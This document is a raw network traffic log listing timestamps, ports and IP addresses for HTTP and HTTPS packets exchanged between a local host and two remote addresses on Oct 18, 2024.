Oct 18, 2024 15:04:59.707839966 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.707839966 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.707850933 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707865953 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707881927 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.707947016 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.707947016 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.707986116 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.708002090 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.708017111 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.708033085 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.708054066 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.708103895 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.708118916 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.708276033 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.708291054 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.708307028 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.708323002 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.708348036 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.708369017 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.708379984 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.708395004 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.708401918 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.708409071 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.708416939 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.708430052 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.708548069 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.708646059 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.708663940 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.708734989 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.708739042 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.708765984 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.708785057 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.708800077 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.708831072 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.708832026 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.708832026 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.708847046 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.708879948 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.708924055 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.708940029 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.708956003 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.708973885 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.708971977 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.708996058 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709008932 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709033966 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709050894 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709052086 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.709052086 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.709067106 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709084988 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.709105968 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709122896 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709127903 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.709139109 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709196091 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709197998 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.709213018 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709228992 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709248066 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.709297895 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709312916 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709330082 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709346056 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709347010 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.709362984 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709362984 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.709391117 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.709392071 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709412098 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709425926 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709445953 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709450960 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.709460974 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709462881 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.709477901 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709494114 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709527969 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.709552050 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.709702015 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709719896 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709738970 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709755898 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709781885 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.709790945 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709813118 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709829092 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709836006 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.709845066 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709860086 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709875107 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709889889 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.709889889 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.709908962 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709924936 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709944010 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709958076 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709969997 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.709969997 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.709975958 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.709991932 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.709991932 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.710009098 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.710026979 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.710042000 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.710057020 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.710072041 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.710072994 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.710072994 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.710092068 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.710127115 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.710171938 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.710174084 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.710189104 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.710205078 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.710222006 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.710243940 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.710246086 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.710258007 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.710290909 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.710319996 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.725672007 CEST	443	50047	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:59.725759983 CEST	443	50047	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:59.725857019 CEST	50047	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:59.740569115 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.740618944 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.740772963 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.826544046 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.826600075 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.826611042 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.826622009 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.826634884 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.826647043 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.826659918 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.826672077 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.826683998 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.826684952 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.826757908 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.826786041 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.826797962 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.826808929 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.826819897 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.826832056 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.826833010 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.826842070 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.826853991 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.826863050 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.826867104 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.826880932 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.826910973 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.826926947 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.826927900 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.827023983 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.827034950 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.827045918 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.827080011 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.827132940 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.827171087 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.827182055 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.827193022 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.827203035 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.827214003 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.827225924 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.827332020 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.827332020 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.827332973 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.827332020 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.827346087 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.827364922 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.827377081 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.827394009 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.827400923 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.827406883 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.827431917 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.827445984 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.827518940 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.827531099 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.827541113 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.827553988 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.827565908 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.827579021 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.827600002 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.827600002 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.827635050 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.827678919 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.827691078 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.827723980 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.827733994 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.827744007 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.827759027 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.827764034 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.827770948 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.827776909 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.827811003 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.828010082 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828021049 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828031063 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828041077 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828052044 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828062057 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828071117 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.828074932 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828084946 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.828089952 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828114986 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.828150988 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828161955 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828171968 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828186989 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828197956 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828210115 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828222990 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828228951 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.828228951 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.828228951 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.828234911 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828239918 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.828248024 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828259945 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828270912 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828282118 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828293085 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828293085 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.828293085 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.828305960 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828318119 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828329086 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828340054 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828351974 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828378916 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.828378916 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.828378916 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.828398943 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828411102 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828419924 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828428984 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828440905 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.828442097 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828454971 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828469038 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828480005 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.828480005 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.828506947 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828517914 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828527927 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828538895 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828547001 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.828547001 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.828550100 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828562975 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828573942 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828598976 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.828619003 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828669071 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.828701019 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828713894 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828722954 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828735113 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828802109 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828813076 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828821898 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.828821898 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.828821898 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.828824043 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828836918 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828846931 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828859091 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828891993 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.828891993 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.828891993 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.828897953 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828910112 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828921080 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.828963041 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.829062939 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829073906 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829083920 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829104900 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.829157114 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.829165936 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829176903 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829186916 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829197884 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829212904 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829219103 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.829232931 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829246044 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829255104 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829266071 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829277039 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829288006 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829307079 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.829307079 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.829307079 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.829345942 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829359055 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829368114 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829380035 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829385042 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.829391956 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829392910 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.829405069 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829417944 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829497099 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829539061 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.829539061 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.829539061 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.829565048 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829576015 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829586029 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829660892 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.829660892 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.829669952 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829682112 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829690933 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829700947 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829714060 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829726934 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829730988 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.829740047 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829751968 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829773903 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.829786062 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.829972982 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.829988003 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830007076 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830018997 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830029011 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830039978 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.830049992 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.830049992 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.830050945 CEST	80	50042	185.215.113.103	192.168.2.4
